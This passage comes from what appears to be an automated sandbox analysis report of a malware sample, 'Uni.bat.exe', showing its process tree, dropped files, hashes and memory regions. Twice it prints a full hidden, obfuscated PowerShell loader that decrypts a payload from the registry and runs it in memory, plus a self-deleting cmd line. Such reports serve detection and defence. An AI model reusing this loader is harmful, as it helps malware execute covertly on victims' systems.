                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:4804
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3792
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3368
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"
                                                                                        4⤵
                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                        PID:5328
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          5⤵
                                                                                            PID:5332
                                                                                          • C:\Windows\system32\PING.EXE
                                                                                            PING localhost -n 8
                                                                                            5⤵
                                                                                            • System Network Configuration Discovery: Internet Connection Discovery
                                                                                            • Runs ping.exe
                                                                                            PID:3088
                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                            taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"
                                                                                            5⤵
                                                                                            • Kills process with taskkill
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:5356
                                                                                          • C:\Windows\system32\attrib.exe
                                                                                            ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"
                                                                                            5⤵
                                                                                            • Views/modifies file attributes
                                                                                            PID:5416
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3252
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                      1⤵
                                                                                        PID:3304
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:3604
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:3664
                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                            1⤵
                                                                                              PID:3748
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                              1⤵
                                                                                                PID:3776
                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                1⤵
                                                                                                  PID:3856
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                  1⤵
                                                                                                    PID:4200
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                    1⤵
                                                                                                      PID:2592
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                      1⤵
                                                                                                        PID:3260
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                        1⤵
                                                                                                          PID:4988
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                          1⤵
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:2124
                                                                                                        • C:\Windows\system32\SppExtComObj.exe
                                                                                                          C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:2616
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                            1⤵
                                                                                                              PID:1068
                                                                                                            • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                              "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                              1⤵
                                                                                                              • Drops file in System32 directory
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:592
                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                              1⤵
                                                                                                                PID:2412
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                1⤵
                                                                                                                  PID:4984
                                                                                                                • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:1912
                                                                                                                  • C:\Windows\$sxr-seroxen1\$sxr-nircmd.exe
                                                                                                                    C:\Windows\$sxr-seroxen1\$sxr-nircmd.exe
                                                                                                                    1⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:948

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                        Replay Monitor

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                                                                                                                        Downloads

                                                                                                                        Uni.bat.exe

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
                                                                                                                        • Size 440KB
                                                                                                                        • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        __PSScriptPolicyTest_ym2opisd.idy.ps1

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ym2opisd.idy.ps1
                                                                                                                        • Size 60B
                                                                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        $sxr-nircmd.exe

                                                                                                                        • Path C:\Windows\$sxr-seroxen1\$sxr-nircmd.exe
                                                                                                                        • Size 116KB
                                                                                                                        • SHA256 7160db2b7a6680480e64f0845512d203a575f807831faf9a652aaef0988f876c
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        ucrtbased.dll

                                                                                                                        • Path C:\Windows\System32\ucrtbased.dll
                                                                                                                        • Size 1.8MB
                                                                                                                        • SHA256 203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        vcruntime140_1d.dll

                                                                                                                        • Path C:\Windows\System32\vcruntime140_1d.dll
                                                                                                                        • Size 52KB
                                                                                                                        • SHA256 8caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        vcruntime140d.dll

                                                                                                                        • Path C:\Windows\System32\vcruntime140d.dll
                                                                                                                        • Size 162KB
                                                                                                                        • SHA256 7ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        memory/400-179-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/400-178-0x00000167B77B0000-0x00000167B77D7000-memory.dmp

                                                                                                                        memory/464-186-0x0000021011AC0000-0x0000021011AE7000-memory.dmp

                                                                                                                        memory/464-187-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/620-183-0x000001C4DA7F0000-0x000001C4DA817000-memory.dmp

                                                                                                                        memory/620-184-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/648-167-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/648-165-0x0000020DAD6F0000-0x0000020DAD711000-memory.dmp

                                                                                                                        memory/648-166-0x0000020DAD720000-0x0000020DAD747000-memory.dmp

                                                                                                                        memory/700-170-0x000001FE127C0000-0x000001FE127E7000-memory.dmp

                                                                                                                        memory/700-171-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/900-175-0x000002A5326B0000-0x000002A5326D7000-memory.dmp

                                                                                                                        memory/900-176-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/948-61-0x0000000000750000-0x0000000000870000-memory.dmp

                                                                                                                        memory/1032-191-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1032-190-0x000001EB72130000-0x000001EB72157000-memory.dmp

                                                                                                                        memory/1116-197-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1116-196-0x0000024F7CD40000-0x0000024F7CD67000-memory.dmp

                                                                                                                        memory/1180-199-0x00000221B57D0000-0x00000221B57F7000-memory.dmp

                                                                                                                        memory/1180-200-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1220-203-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1220-202-0x00000224438A0000-0x00000224438C7000-memory.dmp

                                                                                                                        memory/1260-210-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1260-209-0x0000021D85F50000-0x0000021D85F77000-memory.dmp

                                                                                                                        memory/1296-213-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1296-212-0x00000259DA880000-0x00000259DA8A7000-memory.dmp

                                                                                                                        memory/1344-216-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1344-215-0x00000266842A0000-0x00000266842C7000-memory.dmp

                                                                                                                        memory/1356-218-0x000001D935B00000-0x000001D935B27000-memory.dmp

                                                                                                                        memory/1356-219-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1564-228-0x0000024C5C360000-0x0000024C5C387000-memory.dmp

                                                                                                                        memory/1564-229-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1596-232-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1596-231-0x0000026DDDB00000-0x0000026DDDB27000-memory.dmp

                                                                                                                        memory/1636-235-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1636-234-0x000001D78C730000-0x000001D78C757000-memory.dmp

                                                                                                                        memory/1728-238-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1728-237-0x000001EE79070000-0x000001EE79097000-memory.dmp

                                                                                                                        memory/1748-240-0x0000025D49760000-0x0000025D49787000-memory.dmp

                                                                                                                        memory/1748-241-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1864-243-0x0000015A30D20000-0x0000015A30D47000-memory.dmp

                                                                                                                        memory/1864-244-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1876-246-0x0000018A83EF0000-0x0000018A83F17000-memory.dmp

                                                                                                                        memory/1876-247-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/1900-255-0x000001DCD6B60000-0x000001DCD6B87000-memory.dmp

                                                                                                                        memory/1900-256-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/2004-259-0x00007FFBFCBB0000-0x00007FFBFCBC0000-memory.dmp

                                                                                                                        memory/2004-258-0x00000263F0F80000-0x00000263F0FA7000-memory.dmp

                                                                                                                        memory/2028-261-0x000001EB12940000-0x000001EB12967000-memory.dmp

                                                                                                                        memory/3220-29-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/3220-25-0x0000000140000000-0x0000000140004000-memory.dmp

                                                                                                                        memory/3220-27-0x0000000140000000-0x0000000140004000-memory.dmp

                                                                                                                        memory/3220-28-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4004-23-0x00007FFC3CB21000-0x00007FFC3CC4A000-memory.dmp

                                                                                                                        memory/4004-16-0x0000018579520000-0x00000185798B0000-memory.dmp

                                                                                                                        memory/4004-938-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4004-58-0x0000018578010000-0x0000018578020000-memory.dmp

                                                                                                                        memory/4004-937-0x00007FFC3CB21000-0x00007FFC3CC4A000-memory.dmp

